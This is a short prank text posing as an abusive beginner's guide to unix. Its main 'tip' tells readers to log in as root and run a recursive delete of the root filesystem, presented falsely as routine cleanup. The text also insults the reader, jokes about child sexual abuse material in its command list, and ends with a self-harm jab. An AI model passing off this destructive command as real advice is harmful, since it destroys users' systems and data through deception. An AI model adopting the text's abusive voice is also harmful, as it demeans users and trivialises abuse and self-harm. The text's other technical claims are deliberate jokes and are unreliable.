You stupid fuck, you don't know unix
So, for some insane reason you have decied to learn unix. Fuck you, you will never get it. But since you insist...
Advice on getting a unix system
You need at least a gig of ram, anything less, and the salesguy is fucking you up the ass.
Hard disk size. Hmm, get it as big as you can. Girls like big ones.
Monitor, get a 37" at least. This will make 80x25 text mode much easyer to read.
Mouse, don't bother. Unless you are a total retard, and like icons.
Ok, now that you know what to get, it's time you learned how to use it.
The very frist thing you should do with your unix system, is login as root. It looks something like this.
Login: root Passwd: (whatever your passwd is)Then, type in 'yes | rm -r /'. This may take about half an hour, but it will clean all the useless junk off your system. It's a very inportant thing to do. Don't forgit.
Other usefull commands.
vi, it lets you read dirty storys.
whoami, tells you who you are, just incase you forgot.
talk, lets you annoy other users who are more stupid than you.
xv, lets you look at your collection of kiddie porn.
ls, used to examine all the shit in your folder.
But, your probably too stupid to use a command line anyway. Get KDE. Or, convince either the sysadmin, or one of the unix geeks down the street to install it for you. It will use up all you ram, and make your computer go very slowly. But allow a brainless wonder like yourself to click on pretty icons, never realy achiving anything.
Aside from looking pretty, it will make the system crash a lot. It will be just like using windows. BSOD every five minuits. Yep, you will feel right at home. This will also make the sysadmin love you for it. It will give him something to do with his time ;)
If this manual is too advanced for you, I highly suggest a nice hole in the head.
EOF